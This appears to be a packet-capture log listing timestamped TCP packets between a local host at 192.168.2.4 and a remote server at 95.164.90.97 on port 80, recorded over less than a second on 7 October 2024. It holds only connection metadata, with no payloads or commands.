Oct 7, 2024 18:43:39.050513983 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050522089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050533056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050554991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050576925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050628901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050720930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050731897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050803900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050816059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050827026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050832033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050868988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050935984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050945997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050956011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050967932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050972939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050978899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050988913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051000118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051008940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051021099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051040888 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051611900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051623106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051632881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051641941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051651955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051656008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051662922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051671028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051673889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051685095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051691055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051696062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051707029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051713943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051717043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051733017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051743031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051752090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051753998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051764011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051765919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051774979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051784992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051788092 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051795959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051805973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051806927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051816940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051821947 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051827908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051837921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051839113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051850080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051860094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051862001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051870108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051881075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051888943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051891088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051902056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051908970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051913023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051923990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051947117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051951885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051963091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051973104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051980972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.051985025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.051995039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.052005053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.052006006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.052028894 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.052045107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.052073956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.057348967 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133178949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133246899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133256912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133291006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133295059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133306026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133320093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133322954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133332968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133342981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133343935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133353949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133366108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133383989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133541107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133554935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133564949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133574009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133584976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133591890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133593082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133604050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133605003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133614063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133622885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133630991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133632898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133642912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133652925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133657932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133665085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133676052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133691072 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133738041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133748055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133758068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133768082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133778095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133779049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133802891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133816957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.133986950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.133996010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134005070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134013891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134021044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134023905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134033918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134042978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134043932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134053946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134063959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134068966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134073973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134083033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134094000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134120941 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134150028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134159088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134169102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134179115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134185076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134193897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134208918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134229898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134382010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134396076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134406090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134412050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134416103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134427071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134438992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134447098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134447098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134448051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134457111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134464025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134466887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134476900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134484053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134486914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134496927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134501934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134505987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134516001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134521008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134525061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134533882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134540081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134550095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134557962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134560108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134571075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134579897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134582043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134588957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134597063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134598017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134607077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134614944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134617090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134624004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.134635925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.134651899 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135008097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135094881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135103941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135113001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135119915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135123014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135130882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135137081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135139942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135149002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135153055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135164976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135185003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135288954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135298014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135307074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135317087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135318995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135325909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135334969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135340929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135354042 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135373116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135715961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135725021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135734081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135742903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135749102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135751963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135761023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135770082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.135771036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135787010 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.135799885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136120081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136128902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136137962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136146069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136157990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136181116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136198044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136207104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136214972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136225939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136234045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136235952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136243105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136248112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136251926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136271000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136277914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136331081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136339903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136348009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136358023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136363029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136367083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136375904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136384964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136388063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136399031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136400938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136408091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136415958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136418104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136425972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136435032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136440992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136442900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136451960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136461020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136462927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136470079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136476994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136480093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.136490107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.136512041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.217926979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.217941999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.217952967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218000889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218003988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218012094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218023062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218033075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218040943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218044996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218085051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218230009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218240976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218260050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218266964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218276978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218291044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218291044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218297005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218302965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218312979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218323946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218328953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218336105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218341112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218346119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218357086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218364954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218369007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218393087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218408108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218456030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218468904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218481064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218491077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218501091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218507051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218513012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218523026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218529940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218534946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218544960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218568087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218596935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218609095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218620062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218630075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218633890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218641043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218651056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218657017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218661070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.218681097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.218698025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219295025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219305992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219316959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219326973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219336987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219341993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219347954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219356060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219362974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219377995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219383001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219398022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219408035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219408035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219418049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219429970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219456911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219471931 CEST	80	51632	95.164.90.97	192.168.2.4
